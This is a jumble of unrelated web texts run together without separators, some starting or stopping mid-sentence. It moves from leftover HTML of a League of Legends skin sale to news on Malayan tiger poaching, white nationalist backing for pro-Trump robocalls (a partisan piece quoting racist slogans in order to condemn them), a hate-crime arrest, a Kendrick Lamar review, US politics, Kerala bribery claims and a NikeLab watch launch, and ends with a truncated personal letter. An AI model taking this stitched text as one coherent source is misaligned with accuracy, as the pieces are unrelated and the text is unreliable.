lfo1;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Vayne</span></p><p> </p><ul><li><strong style="mso-bidi-font-weight: normal;"><span style="mso-bidi-font-family: Calibri;">Pretty in Pink</span></strong><span style="mso-bidi-font-family: Calibri;"> <strong style="mso-bidi-font-weight: normal;">- 40% off</strong> - <s>3445</s> 2067 RP (4116 RP with champions included)</span></li></ul><p class="MsoNormal"><span style="mso-bidi-font-family: Calibri;"> Pink isn't only for yordles and wards, just ask Taric and his <em style="mso-bidi-font-style: normal;">outrageous</em> fuzzy pink boots.</span></p><p class="MsoListParagraphCxSpFirst" style="margin-left: 1.0in; mso-add-space: auto; text-indent: -.25in; mso-list: l0 level2 lfo2;"><span style="font-family: 'Courier New'; mso-fareast-font-family: 'Courier New';"><span style="mso-list: Ignore;">o<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Skins included:</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l0 level3 lfo2;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Sewn Chaos Orianna</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l0 level3 lfo2;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Bittersweet Lulu</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l0 level3 lfo2;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Dynasty Ahri</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l0 level3 lfo2;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Armor of the Fifth Age Taric</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.0in; mso-add-space: auto; text-indent: -.25in; mso-list: l0 level2 lfo2;"><span style="font-family: 'Courier New'; mso-fareast-font-family: 'Courier New';"><span style="mso-list: Ignore;">o<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Champions included:</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l0 level3 lfo2;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Orianna</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l0 level3 lfo2;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Lulu</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l0 level3 lfo2;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Ahri</span></p><p class="MsoListParagraphCxSpLast" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l0 level3 lfo2;"><span style="mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span style="mso-bidi-font-family: Calibri;">Taric</span></p><p> </p><ul><li><strong>Good Night, Sweet Skins Bundle</strong><span> <strong>-</strong> <s>3740</s> 935 RP (3000 RP with champions included)</span></li></ul><p><span>We've bundled up a group of skins for one last hurrah before they head into the legacy vault. <strong>These skins are only available until 11:59 PM PDT on July 16, after which </strong></span><strong>they'll be removed from the store.</strong> Get them while you can! The champions themselves will of course fight on in the Fields of Justice.</p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.0in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level2 lfo1;"><span style="font-family: 'Courier New'; mso-fareast-font-family: 'Courier New';"><span>o<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Skins included (75% off):</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span><span>1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Caterpillar Kog'Maw</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span><span>2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Sailor Gangplank</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span><span>3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Hextech Galio</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span><span>4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Muse Sona</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span><span>5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Molten Rammus</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.0in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level2 lfo1;"><span style="font-family: 'Courier New'; mso-fareast-font-family: 'Courier New';"><span>o<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Champions included (50% off):</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span><span>1.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Kog'Maw</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span><span>2.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Gangplank</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span><span>3.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Galio</span></p><p class="MsoListParagraphCxSpMiddle" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span><span>4.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Sona</span></p><p class="MsoListParagraphCxSpLast" style="margin-left: 1.5in; mso-add-space: auto; text-indent: -.25in; mso-list: l1 level3 lfo1;"><span><span>5.<span style="font: 7.0pt 'Times New Roman';"> </span></span></span><span>Rammus</span></p><p class="MsoNormal"><span style="mso-spacerun: yes;"> </span></p><p class="MsoNormal">Grab these bundles before the sale ends on <strong style="mso-bidi-font-weight: normal;">July 16 at 11:59 PM PDT</strong>!</p> <style type="text/css">.cs-body p { margin:1em 0;}.cs-body img { border: 2px solid #cd8e2f;padding: 1px;margin: 0;max-width: 100%;height:auto;}.cs-body img.borderless {border: 0 none;padding: 0;}.cs-body a {font-weight: bold;}</style></div>The loss of six tigers earlier this year, though shocking, is just the latest in a string of tiger deaths due to poaching and trafficking. Photo: AFP
In 2009, the nation committed to double the number of wild tigers to 1,000 by 2020 under the National Tiger Action Plan, which spells out the measures needed to boost tiger numbers. With barely four years left to the deadline, we may have to concede defeat. Our tiger population has not grown, but dwindled.
When the plan was drawn up, it was thought that some 500 tigers still roam our forests. Many in the conservation circle found that to be a generous estimate and finally, in 2014, it was confirmed – we are down to our last 300 tigers.
In just half a century, Malaysia has lost 90% of its tiger population and in late 2014, the International Union for Conservation of Nature declared the species to be “critically endangered” (that’s one step closer to extinction) from just “endangered”.
Yes, extinction of the Malayan tiger, a sub-species of the Panthera tigris that is found only in Peninsular Malaysia, is very real. And it can happen in our lifetimes, just like it did for the Sumatran rhinos.
The loss of six tigers within weeks earlier this year, though shocking, is just the latest in a string of tiger deaths due to poaching and trafficking, driven by demand for tiger meat, skins, bones, canines, claws and other body parts within and outside Malaysia.
Based on the 43 seizures made between 2000 and 2016, it is estimated that at least 102 tigers have been killed during that period, according to Traffic, the wildlife trade monitoring group. But many others would have gone undetected.
Inaction plan
The tiger action plan was a joint effort by the Natural Resources and Environment Ministry (NRE), Department of Wildlife and National Parks (Perhilitan) and Malaysian Conservation Alliance for Tigers (Mycat, a coalition between Malaysian Nature Society, Traffic, Wildlife Conservation Society-Malaysia Programme and WWF-Malaysia).
It laid out 80 actions to be undertaken between 2009 and 2015 to safeguard the iconic species, such as: expanding tiger refuges, improving forestry management, linking fragmented forests with vegetated corridors, protecting tiger preys, waging war on poachers, drafting wildlife laws with bite, wise land use to overcome man-tiger clashes, and improving scientific knowledge on tigers.
All these are supposed to be conducted by numerous state and federal agencies as well as conservation groups.
Unfortunately, many of the actions have yet to be fully carried out. The plan appears to be mired in the perennial problem of insufficient funds for extra rangers and enforcement work, poor land-use planning which causes forests to be turned into plantations or mines and states having ownership over the land.
“Strong leadership, coordination, communication and monitoring are keys to the success of the plan. Although improvements have been made in a number of actions, the overall level of implementation has been unsatisfactory. This culminated in the continued loss of tigers and natural forests,” says Dr Kae Kawanishi, tiger biologist and Mycat general manager.
Patrol the forest
Inadequate implementation of the plan is due to a multitude of reasons, among them are cuts in government funds, increased poaching activities and the rising value of wildlife, says Wildlife Conservation Society (WCS) director Melvin Gumal. “If the budget is not there, no patrols can be done. If the price of a dead tiger is so lucrative, poachers will do anything to hunt them. Poachers have stepped up their efforts. We cannot afford not to increase enforcement.”
Poachers, both local and foreign, are emptying our forests. Traffic programme manager Kanitha Krishnasamy says the threat is gaining severity – surveys in protected areas and forest reserves between 2010 and 2013 found 1,728 illegal camps and over 2,240 traps and snares.
Perhilitan has stepped up anti-poaching patrols, as required by the tiger action plan, but they are nowhere near what is necessary. Take the case of Huai Kha Kheng, a well-protected reserve in Thailand close to the Myanmar border. It has nine rangers patrolling every 100sqkm of land.
To achieve the same intensity of enforcement in Taman Negara, Perhilitan will need at least 400 personnel patrolling the park full time. The current manpower is only a fraction of that. There are joint patrols by Perhilitan and the army, but they are not frequent enough.
To avoid spreading enforcement resources thinly over vast forests, Kawanishi stresses the need to focus on priority areas. “We need to have armed enforcement and military personnel protecting the forest interiors, and then flood the edges and easily-accessible areas with citizen conservationists and tourists.”
Funds should also be allocated to enhance informant networks as intelligence-driven enforcement efforts can help combat the vast illegal wildlife trade network.
Home for tigers
The Panthera tigris jacksoni now clings on to only a fragment of its former domain and even this is broken up by highways, railways, settlements and oil palm plantations. To secure a sizeable home for them, the action plan asked for expansion of parks and wildlife sanctuaries. Three priority areas, Belum-Temengor forest, Taman Negara and Endau-Rompin National Park, have been the focus of conservation and enforcement efforts.
However, areas outside of these protected areas, such as stateland forests and alienated forests which are also tiger territories, have received little attention. If the plan was up-to-date, these sites would have been mapped and given some form of protection. Instead, some stateland forests which form important linkages for fragmented forests, have been alienated for plantations, such as land alongside one wildlife viaduct in the Sungai Yu wildlife corridor.
Like house cats, tigers can breed easily provided they have enough food and space.
“Biologically, it is possible for the population of 300 Malayan tigers to bounce back to 500 and eventually to 1,000. Malaysia has enough forests to support up to 1,500 tigers,” says Kawanishi.
“That can be done by integrating biodiversity conservation into the state governments’ decision-making processes regarding resource extraction, especially forestry.”
Tiger task force
The action plan also suffers from a lack of leadership. Conservationists believe that a co-ordinating body (such as a tiger task force or tiger conservation agency) is needed to move the plan forward, similar to how India’s National Tiger Conservation Authority is authorised to decide on policies, funding, enforcement and habitat protection.
The frequent change in ministry personnel in charge of monitoring the plan is another stumbling block. “Mycat has worked with at least nine different ministry officials on it. The new officer is not familiar with the plan, so things have to be repeated,” says co-ordinator Wong Pui May.
Also, the ministry did not have a wildlife desk officer last year, so progress reports on the action plan have not been done yet for 2014 and 2015.
Petition to save tigers
We cannot afford to lose any more tigers. Given their need for good forest cover and a healthy prey population, protecting the tiger inherently benefits the entire forest ecosystem. So Mycat has launched a petition demanding |
So who made these robocalls happen? From American National Super PAC’s first-quarter report to the Federal Elections Commission, I found some interesting individuals involved in making the ads. Connected white nationalists, people whose views align nicely with white nationalists’, or simply those who don’t mind taking a paycheck from a racist organization, are mobilizing for Trump, collaborating on political ads to support him.
Here is the cast of characters:
Besides Johnson, the only other funder of the first-quarter robocalls was Earl Holt, who contributed $500 and is president of the Council of Conservative Citizens. Dylann Roof credited Holt's ideas for inspiring his Charleston massacre.
The super PAC paid $1,500 to Laura Burton of Columbia, South Carolina for consulting. She is the treasurer for Robert Whitaker's presidential campaign. When you can get paid by one white nationalist, why not two?
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Whitaker, once worked in the Reagan administration, was formerly the American Freedom Party’s own 2016 presidential candidate, but the party endorsed Trump because he clearly has a chance to become president. In April, after Johnson ran the robocall campaign for Trump, Whitaker withdrew as the AFP nominee. Now running as an independent, his campaign slogan remains: “‘Diversity’ is a codeword for white genocide.” His campaign site presents “The Mantra,” which eerily addresses “a final solution to the black problem.”
Sam Bushman was hired for consulting, earning $211. Bushman is a conservative radio host who had Donald Trump, Jr. on his show, interviewed by frequent host and white nationalist James Edwards. A racist and an anti-Semite, Edwards is a member of the American Freedom Party and a national board member of the Council of Conservative Citizens.
Clarence Mason, a former Black Panther, was paid $300 for consulting. The Missouri resident is a black author and speaker who now believes that liberalism is slavery and that blacks should stop “whining” about having been enslaved. He told The Daily Caller that Black Lives Matter is “garbage” and that “Barack Obama hates America.”
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Johnson was in fact named a California delegate for Trump, as Mother Jones first reported. The Trump campaign attributed this to a “database error,” and Johnson resigned as a delegate a few days later. But Johnson has now asked the Trump campaign if he can attend the Republican National Convention as a volunteer. And the American Freedom Party claims it has more Trump delegates who have slipped through the cracks, along with other “white pride” proponents such as Chicago mortgage banker Lori Gayne.
This merry band of racists is cheering for and spending money to benefit Trump, the Republican nominee for president. And despite constant racist language from Trump himself and myriad endorsements from KKK leaders and other unsavory white supremacists, the Republican establishment quickly rallied behind him when Cruz left the race.
What a disgrace: Establishment Republicans who planned to change their tune after 2012 and appeal to Latino voters (but who thought this would really happen?) are now going all in for an outright bigot who took over their party by appealing to an angry base they created. Trump’s supporters are driven most by racial resentment, according to a recent Pew Research study. It’s an embarrassment, but more seriously, a grave danger, that the GOP is willing to rally behind someone whose campaign depends on stoking white racism. And there are more white voters than previously believed, according to an Upshot analysis.
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Regardless of whether white nationalist groups continue to advertise on Trump’s behalf, the candidate desperately needs white supremacists’ votes. Many are newly registered voters, and others have never voted for a member of a major U.S. political party. Trump knows this, which explains why, as he pivots to the center for the general election, he called out a judge presiding over his Trump University case because of his Mexican heritage just days before giving what may have been his first teleprompted speech. What Trump should have made clear is, I am racist against Mexicans, and since you have Mexican heritage, you might be biased against me in the case regarding my fraudulent university. Obviously, this is an absurd, and racist, reason to remove a judge from a case.
Trump may have had to pretend on national television that he didn’t “know anything about David Duke,” the former grand wizard of the Ku Klux Klan who endorsed him, but he consistently says and tweets things (like Mussolini quotes) that keep white racists enthusiastic about his potential presidency. These statements mixed in with his proposed ban on Muslims and wall at the Mexican border conveniently resonate with the Tea Party’s racist strain as well.
While Trump's university is being sued for fraud and presumptive Democratic nominee Hillary Clinton has a (very) slight chance of being indicted during an election that, perhaps, more blatantly than ever displays just how corrupt American politics are, only one candidate has the backing of white nationalists, neo-Nazis and other hate groups convinced that the white race is experiencing a drawn-out genocide.
Meanwhile, for the presumptive Democratic nominee, African Americans are reliable supporters and Latinos are registering to vote like never before to cast their ballots against Trump.Mary Esther resident Ernest Emory Davis faces a hate crime charge of aggravated battery for yelling racist slurs at a neighbor and running into his home with a truck.
The Okaloosa County Sheriff’s Office said on Jan. 30 Davis poured kerosene in front of the home of William Hawthorne, called Hawthorne out using racial slurs and said “I want to kill you.”
Davis, 64, of 402 East Pine St., is charged with aggravated battery with a deadly weapon (the hate crime), aggravated battery causing great bodily harm and resisting arrest.
He is also charged for throwing an unidentified 81-year-old man off a porch, breaking the man’s pelvis.
A police report indicates that the victims of Davis’ attack lived on same grounds where Davis had his travel trailer home. Hawthorne’s residence was described as “a small shed.”
Hawthorne told deputies Davis “was upset with him because Davis believed he stole some metal roofing tin.”
He said he heard Davis calling him names and smelled kerosene. Hawthorne told investigators he was at the door of the residence when he saw Davis climb into his F-150 pickup and drive toward the home.
“Hawthorne advised Davis hit one side of the building, backed up and hit the building again,” the report said.
The force of the impact threw Hawthorne into the bathroom, the report said.
The second victim said Davis entered his residence following the truck attack.
The victim “advised he was on the front steps trying to calm Davis down when Davis threw him down.”
The second man landed on the sidewalk. It would later be determined he had broken his pelvis in two places.
A hand full of witnesses in the vicinity of Hawthorne’s home told investigators they heard the racist slurs Davis was shouting.
Florida law provides for an enhanced or aggravated sentence for an individual convicted of a hate crime, according to information put out on the website of criminal defense attorneys Pagan and Stroleny
“A hate crime is essentially a crime committed against an individual because of that individual’s race, color, religion, ancestry or national origin, gender, disability or sexual orientation,” the website said. “Hate crimes include a range of crimes including assault, assault with a weapon, robbery, harassment, vandalism, rape and murder.”Kendrick Lamar is keen to capture his adolescent years’ volatile mind frame by reminiscing, accepting and sharing his inner demons and bitter memories. Even more so than his remarkable independent releases, Overly Dedicated and Section 80, good kid, m.A.A.d city is a true display of his meticulous nature. The quality of precision shows in the music, the lyrics, the concepts, and the structure, making the Compton native's debut one of the most cohesive bodies of work in recent rap memory.
It starts with a recording of a prayer, and fades in on a 17-year-old Kendrick, whose focus in life is pillaging of “pussy.” Fluidly dashing and pausing over a nocturnal backdrop, K-Dot's lustful mind frame only awakes with the encounter of two gang bangers. Just like that, the anecdotal intro, “Sherane a.k.a. Master Splinter’s Daughter,” which creates the mise en scène for the album, cuts into the first of many voicemail recordings (essentially interludes) from Kendrick’s mother and father. Not only do these voicemails adjoin the plotline, but they also aid as reminders for young Lamar to stray from the street life, serving as yin to the violence-driven yang of Compton.
It’s crucial to note throughout the majority of good kid, m.A.A.d city, Kendrick Lamar plays himself as a 17-year-old teenager, who’s driving around Los Angeles in his mother’s caravan with his gang-affiliated homies. This narrative is the mainstay throughout the project. It accentuates a sense of excitement, shedding light on a side of the talented wordsmith that hasn’t been dissected until now. Starting with “Backseat Freestyle,” with its bigmouth, punch-line antics over a thumping Hit-Boy production, this is a pre-fame MC who’s foolishly blazing off raps with friends. It doesn’t, however, means the flow is elementary or his quotable are shabby; he channels multiple voices and executes crisp-clean double- and triple-time bonanza with ease.
But fun and games aren’t the only elements that constitute a young Kendrick’s late-night escapade. On “The Art of Peer Pressure”—a spacious, internal monologue—he highlights the rowdy behaviors he displays in front of his friends, while having an almost opposite sentiment inside his psyche. This thought further explores on a more in-depth lane on “good kid,” in which the first-two verses discuss the allure and fear administered by—quite ironically—gangs and police sirens that both flaunt colors red and blue.
The album reaches a creative and cinematic climax on “m.A.A.d city.” Whether it was meant to depict his puberty or the panting sufferings of reality, K.L. purposely tweaks his voice into a higher pitch, and frantically describes the “mad” elements of Compton. Gun-driven, gang violence widespread throughout the ‘hood has become a part of Kendrick’s DNA. It’s a tempting draw, even when he attempts to fight it. And toward the end of this epic, the rapper epitomizes his lineage claiming that he’s an “angel,” who was made on “angel dust.”
After the violence subsides, Kendrick leads the “short film” near its epilogue on “Sing About Me, I’m Dying of Thirst.” The first-two verses speak from the perspectives of siblings as subjects that Kendrick touches on current and previous albums. It’s a tearjerker, and an impressive delivery of emotions that can’t help but let the listeners visualize empathetic portraits of those gunned down and faded away.
While Kendrick rolls deep, affiliated with TDE and Aftermath, there's not a bevy of features. All of the guest appearances on the project assist as cameos with fitting roles. Drake on the suave, love serenade “Poetic Justice,” Jay Rock on the tale of hustler’s ambitions in “Money Trees,” MC Eiht serving OG knowledge on “m.A.A.d city,” and Dr. Dre passing the torch to Kendrick on “Compton” all serve a thematic purpose. None of their names or verses outshines the star of the movie. They’re all knitted into the drape known as good kid, m.A.A.d city, helping to mold a fuller image.
Overall, good kid, m.A.A.d city is an invigorating LP. Every record is both complexly arranged and sonically fitting, foregrounding Kendrick’s vivid lyricism and amazing control of cadence. There’s not a single loophole. From the prayers on “Sherane a.k.a. Master Splinter’s Daughter” to the triumphant ending on “Compton,” each skit and track interweaves one another, solidifying a complete picture. While only time can determine the album’s fate, this life chronicle of Kendrick has all—if not more—of the qualities rap’s now living and deceased legends have carved in stone. It’s an undeniably stellar major label debut from Kendrick Lamar, which will certainly hurt the self-esteem of many rappers out now while also inspiring them to reach these heights. — Jaeki Cho ( @JaekiCho )Outgoing U.S. Parole Commission Chairman Isaac Fulwood in 2010. (Photo by Mark Gail/The Washington Post)
There’s one issue, perhaps the only one, that Republicans and Democrats seem to agree on: reducing the population of the nation’s overcrowded and expensive prisons, partly through reducing sentences for low-level and nonviolent offenders.
One person who would be expected to be at the table for high-level strategizing on the issue is the chairman of the U.S. Parole Commission, former D.C. police chief Isaac Fulwood Jr. But Fulwood, who’s leaving the post this week after nearly six years as chairman, has yet to meet President Obama or have a one-on-one meeting with Attorney General Eric Holder Jr., whose centerpiece initiative has been “Smart on Crime” prison reform. (Oh, yes, the Parole Commission is part of the Justice Department.)
“It is with bittersweet sorrow that I have decided to retire,” Fulwood wrote in his Jan. 8 retirement letter to Obama. “I have made this decision based on personal health challenges and the fact that the department has not been as supportive over the years as they should have been,” citing staffing, funding and attention to prison reform issues.
Back in 2013, well before Ferguson, Cleveland, Staten Island and other troubling law enforcement incidents, Fulwood wrote to Obama suggesting that the Justice Department “lead a dialogue with law enforcement about racial profiling,” an issue he has long been concerned with during his decades of work in law enforcement. He got no response, we wrote at the time. Not even a Robo-signed, “Thanks for your letter.”
In an interview, Fulwood said that the exploding prison population is “what everyone is talking about, and we need to make sure that the parole commission is doing what Holder and Obama want us to do. But nobody talks to us, so we don’t know.”
The lack of communication even extended to a small personal request Fulwood made on Dec. 5 “to bring my family to the White House to get a photo with the president.” He has still not heard back.
Well, he’s not leaving till Friday.NEW ORLEANS, June 30 (UPI) -- A man who was on a New Orleans bridge six days after Hurricane Katrina testified during the trial of five police officers he was wounded by police fire.
Jose Holmes Jr., 25, said the shooting began without warning or provocation, as he and his family had just started to walk up the Danziger Bridge. He was shot in the arm, the jaw and abdomen, The (New Orleans) Time-Picayune reported Wednesday.
Holmes said after the shooting began, he jumped a road barrier and lay down on his side, facing the barrier.
"I was kind of thinking if they saw us on the ground they wouldn't shoot us," he said.
Holmes said one of the shooters came over to the barrier and pointed a gun at him.
"I looked over and saw the barrel of a gun. So I looked away and they shot me two times in the stomach," Holmes said.
Kenneth Bowen, Robert Faulcon, Robert Gisevius and Anthony Villavaso accused of federal civil rights violations for allegedly shooting Holmes and other members of his group, as well as orchestrating a cover-up. Retired officer Arthur Kaufman also is accused in the alleged cover-up.
Attorney Eric Hessler, who represents Gisevius, a sergeant, said Holmes' recounting of the incident has changed over the years. He said Holmes' story began to evolve after FBI agents showed him video footage of the shooting taken by a TV news crew.
James Brissette, 17, died of his wounds, while Holmes and four others were severely injured, the newspaper said.POLITICO Pro CBO: Debt limit will have to be increased by October or November
Ready for the next budget crisis?
Just as lawmakers were breaking an impasse over homeland security funding, the Congressional Budget Office warned on Tuesday that a much bigger challenge looms: raising the debt limit.
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Lawmakers will have to lift the legal cap on government borrowing in October and November, the nonpartisan agency said. The Treasury Department will have to begin using its bag of accounting maneuvers known as the “extraordinary measures” to stave off default by the middle of this month.
Republicans have no clue what, if anything, they will demand in exchange for raising the debt cap.
“These conversations are really in their nascent stage,” said House Budget Committee Chairman Tom Price (R-Ga.), who said he prefers returning to the so-called Boehner rule, requiring spending cuts at least equal in size to any increase in the debt ceiling. “I don’t know what we will ultimately decide.”
It will be the first debt hike to face Republicans since they took full control of Congress. Debt increases have been among the toughest votes for House Republicans, and they’ve only had mixed success extracting concessions from Democrats.
The automatic budget cuts known as sequestration that continue to hit federal agencies are a legacy of a 2011 debt limit deal. But in the wake of a 2013 budget fight that resulted in a hugely unpopular government shutdown, a chastened GOP allowed a “clean” debt increase to pass without any conditions.
The most recent increase, approved in February 2014, suspended the debt cap through March 15, 2015. After that, the ceiling will snap back into place, forcing Treasury to shuffle money among various programs to prevent default.
It will run out of those accounting tricks, and cash, by October or November, CBO said, though the exact timing is uncertain.
But there is more fiscal drama even before the next debt limit hits.
They must first deal with steep cuts in Medicare payments to doctors set to hit at the end of March, and a gaping budget hole in the highway trust fund that will demand attention in the spring.
“Those are deadlines before that deadline,” said Rep. Pat Tiberi (R-Ohio), who sits on the Ways and Means Committee. “We’re dealing with what is in front of us.”
It’s a reminder that, after a lull in Washington’s budget wars, a string of fiscal cliffs threaten to soak up much of Congress’ time and energy, leaving little space for more ambitious projects like reforming the tax code.
Republicans don’t yet know how they’ll address the Medicare payment issue, let along the highway program or the debt limit, said Tiberi.
“Yet to be determined,” he said.
The debt now stands at $18.1 trillion, CBO said, about twice the level seen at the end of 2007.
Republicans got one of the funding cliffs out of the way earlier on Tuesday, when the House voted 257-167 to approve a Department of Homeland Security budget bill without the restrictions on President Barack Obama’s immigrations policies that some conservatives had sought.Leader of the Opposition in Kerala Assembly V S Achuthanandan on Monday alleged that two more ministers in the United Democratic Front (UDF) government have accepted bribes from bar owners to offer favourable decisions.
Speaking after inaugurating the Left Democratic Front Secretariat here, Achuthanandan demanded resignation of Chief Minister Oommen Chandy and Finance Minister K M Mani. He said Home Minister Ramesh Chennithala and Excise Minister K Babu had also accepted bribes from the bar owners.
Mani is already facing a Vigilance and Anti Corruption Bureau (VACB) probe into bribery allegations made by Bar Hotel Owners Association working president Biju Ramesh. “Chandy, Mani, Chennithala and Babu should step down and face a probe,” the CPM veteran said.
The LDF on Monday commenced another round of agitations demanding resignation of the scam-hit Mani and the chief minister who is set to be questioned as a witness by a judicial commission investigating the solar panel fraud.
Chennithala refuted the opposition leader’s allegations. He said Achuthanandan was settling scores in the backdrop of arrests of CPM workers.Nike News: NikeLab Apple Watch Finally Released; Details Of Specs Revealed
Thursday, April 27: Nike has launched the all new Apple Watch NikeLab. The watch is now available for purchase on Nike's website, Nike's Lab stores and even the Apple watch pop-up shop located at the Isetan departmental store in Tokyo.
The much anticipated NikeLab Apple Watch was announced last week by the company in order to stir up the pot and bring some fresh and new products to its valuable customers. According to a report, the Apple Watch NikeLab has a unique construction. The watch combines a space grey Apple Watch Series 2, Aluminum case with a black and cream colored, Nike band. Like all Apple Watch Nike bands before, the band of the NikeLab Apple Watch is perforated for optimum performance in most exercise situations.
The NikeLab Apple Watch is a limited-edition design by the company and will be only available for a short period of time. The company claims the product to be the ultimate style companion for all the runners. Similar to the already existent Apple Watch Nike+, the NikeLab Apple Watch has a Nike watch face as well as integration to the Nike+ Run Club App.
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The NikeLab Apple Watch has the exact same pricing as the normal Apple watch sport priced at $369 for a 38mm model. The 42mm model of the limited-edition Apple watch will cost you $399. The NikeLab watch is available only on the Nike website and on select Isetan Departmental stores. This makes the watch fairly unique as it is not available on the official website of Apple, nor is it available in retail Apple stores.
Apple had joined hands with Nike back in September 2016, in an attempt to introduce its customers to the world of fitness and technology. The Nike+ Apple watch was a huge success and still is. The NikeLab Apple watch is another attempt by the tech giant to inspire people towards a healthier and fitter lifestyle.
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But your a Jesus freak. I mean, I know about the guy, and I think it's cool to have a spritual side and all, but you're really all about him, aren't you? It took about 5 minutes for me to realize that we were going to talk about god all night. And I really tried to sympathize with your faith that Jesus gave you a second chance at life after a rough childhood. I was struggling to find encouraging things to say, and I held my toungue pretty well. But here's the deal:I don't believe in god, babe. Nope, not even an inkling. I'm what you call an Atheist, because your organization needs a word to describe people who don't believe what you believe. Atheist is a newer, kinder word. I would have been a heretic, sinner, witch, blasphemer or satanist had we met in another century, but now, I'm an atheist. Or secular humanist, or, as I like to say, normal. And, sadly, you're in a cult. A Messianic cult, which may be better than some other cults, but it's still a cult, and you're completely brainwashed. I mean, there's very little room in your thinking for any kind of science, let alone philosophy or literature that isn't written in praise of your Leader, and that just sucks, conversationally speaking. I mean we can't really talk about anything without your ultimate arbiter coming into play, at which point the conversation is over. Here's an example from the other night:Me: Yeah, there was another protest about same sex marriage downtown today, I checked it out.You: Well homosexuality is a 